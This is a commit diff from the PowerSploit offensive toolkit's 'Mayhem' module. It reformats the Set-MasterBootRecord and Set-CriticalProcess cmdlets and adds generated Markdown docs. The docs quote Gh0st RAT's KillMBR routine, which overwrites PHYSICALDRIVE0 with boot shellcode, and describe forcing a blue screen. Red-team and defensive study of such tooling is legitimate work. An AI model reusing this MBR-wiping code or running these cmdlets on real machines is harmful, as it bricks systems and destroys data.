For ./Mayhem/ :
-PSScriptAnalyzering
-Tweaking of synopsis blocks in order to support platyPS
-Code standardization
-Generated docs
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HarmJ0y
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@ -3,45 +3,43 @@ function Set-MasterBootRecord
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<#
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.SYNOPSIS
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Proof of concept code that overwrites the master boot record with the
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message of your choice.
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Proof of concept code that overwrites the master boot record with the
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message of your choice.
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PowerSploit Function: Set-MasterBootRecord
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Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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PowerSploit Function: Set-MasterBootRecord
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Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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.DESCRIPTION
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Set-MasterBootRecord is proof of concept code designed to show that it is
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possible with PowerShell to overwrite the MBR. This technique was taken
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from a public malware sample. This script is inteded solely as proof of
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concept code.
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Set-MasterBootRecord is proof of concept code designed to show that it is
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possible with PowerShell to overwrite the MBR. This technique was taken
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from a public malware sample. This script is inteded solely as proof of
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concept code.
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.PARAMETER BootMessage
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Specifies the message that will be displayed upon making your computer a brick.
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Specifies the message that will be displayed upon making your computer a brick.
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.PARAMETER RebootImmediately
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Reboot the machine immediately upon overwriting the MBR.
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Reboot the machine immediately upon overwriting the MBR.
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.PARAMETER Force
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Suppress the warning prompt.
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Suppress the warning prompt.
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.EXAMPLE
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Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
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Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
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.NOTES
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Obviously, this will only work if you have a master boot record to
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overwrite. This won't work if you have a GPT (GUID partition table)
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#>
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Obviously, this will only work if you have a master boot record to
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overwrite. This won't work if you have a GPT (GUID partition table).
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<#
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This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
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// CGh0stApp message handlers
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@ -83,8 +81,8 @@ int CGh0stApp::KillMBR()
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NULL,
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0,
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&dwBytesReturned,
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NULL
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);
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NUL
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)
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// ??????
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WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
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DeviceIoControl
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@ -105,7 +103,9 @@ int CGh0stApp::KillMBR()
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}
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#>
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[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
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[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
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[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
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Param (
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[ValidateLength(1, 479)]
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[String]
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$BootMessage = 'Stop-Crying; Get-NewHardDrive',
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@ -220,7 +220,7 @@ int CGh0stApp::KillMBR()
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$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
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# Zero-initialize the allocated unmanaged memory
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0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
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0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
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[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
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@ -300,7 +300,9 @@ Set-CriticalProcess -Force -Verbose
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#>
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[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
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[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
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[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
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Param (
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[Switch]
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$Force,
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@ -0,0 +1,108 @@
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# Set-CriticalProcess
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## SYNOPSIS
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Causes your machine to blue screen upon exiting PowerShell.
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PowerSploit Function: Set-CriticalProcess
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Author: Matthew Graeber (@mattifestation)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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## SYNTAX
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```
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Set-CriticalProcess [-Force] [-ExitImmediately] [-WhatIf] [-Confirm]
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```
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## DESCRIPTION
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{{Fill in the Description}}
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## EXAMPLES
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### -------------------------- EXAMPLE 1 --------------------------
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```
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Set-CriticalProcess
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```
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### -------------------------- EXAMPLE 2 --------------------------
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```
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Set-CriticalProcess -ExitImmediately
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```
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### -------------------------- EXAMPLE 3 --------------------------
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```
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Set-CriticalProcess -Force -Verbose
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```
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## PARAMETERS
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### -Force
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Set the running PowerShell process as critical without asking for confirmation.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases:
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Required: False
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Position: Named
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Default value: False
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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### -ExitImmediately
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Immediately exit PowerShell after successfully marking the process as critical.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases:
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Required: False
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Position: Named
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Default value: False
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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### -WhatIf
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Shows what would happen if the cmdlet runs.
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The cmdlet is not run.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases: wi
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Required: False
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Position: Named
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Default value: None
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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### -Confirm
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Prompts you for confirmation before running the cmdlet.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases: cf
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Required: False
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Position: Named
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Default value: None
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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## INPUTS
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## OUTPUTS
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## NOTES
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## RELATED LINKS
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@ -0,0 +1,184 @@
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# Set-MasterBootRecord
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## SYNOPSIS
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Proof of concept code that overwrites the master boot record with the
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message of your choice.
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PowerSploit Function: Set-MasterBootRecord
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Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
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License: BSD 3-Clause
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Required Dependencies: None
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Optional Dependencies: None
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## SYNTAX
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```
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Set-MasterBootRecord [[-BootMessage] <String>] [-RebootImmediately] [-Force] [-WhatIf] [-Confirm]
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```
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## DESCRIPTION
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Set-MasterBootRecord is proof of concept code designed to show that it is
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possible with PowerShell to overwrite the MBR.
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This technique was taken
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from a public malware sample.
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This script is inteded solely as proof of
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concept code.
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## EXAMPLES
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### -------------------------- EXAMPLE 1 --------------------------
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```
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Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
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```
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## PARAMETERS
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### -BootMessage
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Specifies the message that will be displayed upon making your computer a brick.
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```yaml
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Type: String
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Parameter Sets: (All)
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Aliases:
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Required: False
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Position: 1
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Default value: Stop-Crying; Get-NewHardDrive
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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### -RebootImmediately
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Reboot the machine immediately upon overwriting the MBR.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases:
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Required: False
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Position: Named
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Default value: False
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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### -Force
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Suppress the warning prompt.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases:
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Required: False
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Position: Named
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Default value: False
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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### -WhatIf
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Shows what would happen if the cmdlet runs.
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The cmdlet is not run.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases: wi
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Required: False
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Position: Named
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Default value: None
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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### -Confirm
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Prompts you for confirmation before running the cmdlet.
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```yaml
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Type: SwitchParameter
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Parameter Sets: (All)
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Aliases: cf
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Required: False
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Position: Named
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Default value: None
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Accept pipeline input: False
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Accept wildcard characters: False
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```
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## INPUTS
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## OUTPUTS
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## NOTES
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Obviously, this will only work if you have a master boot record to
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overwrite.
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This won't work if you have a GPT (GUID partition table).
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This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
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// CGh0stApp message handlers
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unsigned char scode\[\] =
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"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
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"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
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"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
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int CGh0stApp::KillMBR()
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{
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HANDLE hDevice;
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DWORD dwBytesWritten, dwBytesReturned;
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BYTE pMBR\[512\] = {0};
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// ????MBR
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memcpy(pMBR, scode, sizeof(scode) - 1);
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pMBR\[510\] = 0x55;
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pMBR\[511\] = 0xAA;
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hDevice = CreateFile
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(
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"\\\\\\\\.\\\\PHYSICALDRIVE0",
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GENERIC_READ | GENERIC_WRITE,
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FILE_SHARE_READ | FILE_SHARE_WRITE,
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NULL,
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OPEN_EXISTING,
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0,
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NULL
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);
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if (hDevice == INVALID_HANDLE_VALUE)
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return -1;
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DeviceIoControl
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(
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hDevice,
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FSCTL_LOCK_VOLUME,
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NULL,
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0,
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NULL,
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0,
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&dwBytesReturned,
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NUL
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)
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// ??????
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WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
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DeviceIoControl
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(
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hDevice,
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FSCTL_UNLOCK_VOLUME,
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NULL,
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0,
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NULL,
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0,
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&dwBytesReturned,
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NULL
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);
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CloseHandle(hDevice);
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ExitProcess(-1);
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return 0;
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}
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## RELATED LINKS
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12
mkdocs.yml
12
mkdocs.yml
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@ -124,7 +124,11 @@ pages:
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- Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md'
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- CodeExecution:
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- Functions:
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- Find-AVSignature: 'CodeExecution/Invoke-DllInjection.md'
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- Find-AVSignature: 'CodeExecution/Invoke-ReflectivePEInjection.md'
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- Find-AVSignature: 'CodeExecution/Invoke-Shellcode.md'
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- Find-AVSignature: 'CodeExecution/Invoke-WmiCommand.md'
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- Invoke-DllInjection: 'CodeExecution/Invoke-DllInjection.md'
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- Invoke-ReflectivePEInjection: 'CodeExecution/Invoke-ReflectivePEInjection.md'
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- Invoke-Shellcode: 'CodeExecution/Invoke-Shellcode.md'
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- Invoke-WmiCommand: 'CodeExecution/Invoke-WmiCommand.md'
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- Mayhem:
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- Functions:
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- Set-MasterBootRecord: 'Mayhem/Set-MasterBootRecord.md'
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- Set-CriticalProcess: 'Mayhem/Set-CriticalProcess.md'
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